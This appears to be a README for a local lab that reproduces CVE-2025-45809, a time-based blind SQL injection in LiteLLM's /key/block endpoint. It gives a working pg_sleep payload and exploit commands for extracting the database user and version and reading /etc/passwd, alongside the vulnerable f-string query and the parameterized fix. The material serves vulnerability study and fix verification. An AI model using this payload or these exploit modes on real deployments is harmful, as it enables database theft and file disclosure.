
취약점을 개별적으로 재현하는 코드
/key/block을 통한 LiteLLM SQL 삽입(시간 기반 블라인드 SQLi)LiteLLM v1.65.4(v1.81.0 이전 버전)의
/key/block및/key/unblock엔드포인트의key매개변수에 SQL 삽입 취약점이 존재합니다. 공격자는 시간 기반 블라인드 삽입 기술을 활용하여 데이터베이스 내용을 탈취하고 서버 파일을 읽을 수 있습니다.
| Field | Value |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Affected | LiteLLM < 1.81.0(v1.65.4에서 확인됨) |
| Fixed | v1.81.0+(매개변수화된 쿼리로 수정됨) |
| Published | 2025-07-03 |
| Discovered by | shadia0 (via Huntr bounty) |
| Links | NVD • Huntr • Snyk |
LiteLLM의 /key/block 및 /key/unblock 엔드포인트는 API 키의 차단/해제를 관리하는 데 사용됩니다.
이 두 엔드포인트는 key 매개변수를 처리할 때 사용자 입력을 SQL 쿼리 문자열에 직접 연결하며
(f-string 포맷 사용), 매개변수화된 쿼리를 사용하지 않아 SQL 삽입 취약점이 발생합니다.
| 엔드포인트 | 메서드 | 삽입 매개변수 |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() 함수를 활용하여 응답 시간 차이를 통해 삽입을 확인pg_read_file() 함수를 활용하여 서버 파일을 읽기# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
참고: exploit을 처음 실행하면
/key/generate를 자동으로 호출하여 API key를 생성하고, Prisma가Key데이터베이스 테이블의 생성을 완료하도록 트리거합니다. 이는/key/block엔드포인트가 취약한 SQL 쿼리 경로에 진입할 수 있기 위한 필수 선행 조건입니다. 이 단계를 건너뛰면/key/block은Key테이블이 초기화되지 않아 401을 직접 반환하여 삽입이 트리거되지 않습니다.
# 4. 提取数据库当前用户
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
# 5. 提取 PostgreSQL 版本
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
# 6. 尝试读取 /etc/passwd
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
# 7. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
삽입 확인 (--mode check):
======================================================================
[VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation
======================================================================
Target : http://localhost:4000
Endpoint : /key/block
[*] Step 1: Measuring baseline response time...
Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)...
Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection...
pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection...
pg_sleep(5): 5.01s (N/A)
[*] Analysis:
Baseline time: 0.01s
pg_sleep(3): 3.01s (expected ~3s)
pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful!
Response increased from 0.01s to 5.01s
수정 버전의 삽입 거부:
======================================================================
[FIXED] CVE-2025-45809 — SQL Injection Confirmation
======================================================================
Target : http://localhost:4001
Endpoint : /key/block
[*] Step 1: Measuring baseline response time...
Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)...
Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection...
pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection...
pg_sleep(5): 0.00s (N/A)
[*] Analysis:
Baseline time: 0.00s
pg_sleep(3): 0.00s (expected ~3s)
pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
LiteLLM v1.65.4에서 /key/block 엔드포인트의 처리 로직은 다음과 유사합니다(단순화 버전):
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
공격자는 key 매개변수에 PostgreSQL의 시간 지연 함수를 삽입합니다:
' OR (SELECT pg_sleep(5)) IS NULL --
연결된 SQL은 다음과 같아집니다:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| 테스트 시나리오 | 응답 시간 | 결론 |
|---|---|---|
| 정상 요청 (key=test) | ~0.01s | 기준선 |
| pg_sleep(3) | ~3.01s | 삽입 작동 |
| pg_sleep(5) | ~5.01s | 삽입 확인 |
LiteLLM v1.65.4는 Prisma ORM을 사용하여 데이터베이스를 관리합니다. Key 테이블은 지연 생성(lazy creation) 전략을 사용합니다——
/key/generate를 처음 호출하여 API key를 생성하기 전에는 Key 테이블이 PostgreSQL에 존재하지 않습니다.
이로 인해 /key/block 엔드포인트의 key 검증 쿼리(WHERE key='{input}')가 취약한 SQL 코드 경로에
도달하기 전에 테이블이 존재하지 않아 401을 반환합니다.
현재 PoC는 이 문제를 자동으로 처리합니다: exploit 스크립트는 삽입 payload를 보내기 전에
/key/generate를 먼저 호출하여 API key를 생성하므로 데이터베이스 테이블이 준비되도록 보장합니다.
참고: 컨테이너를 처음 시작할 때 약 30-60초(Prisma CLI 설치 + 데이터베이스 초기화)를 기다려야 하며, 로그에
Uvicorn running on http://0.0.0.0:4000가 나타난 후 exploit을 실행하세요.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
v1.81.0에서 수정되었으며, f-string 연결 대신 매개변수화된 쿼리(Prepared Statements)를 사용합니다:
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
key 매개변수에 대해 엄격한 입력 검증을 수행Disclaimer: This content is provided for educational purposes and authorized security testing only.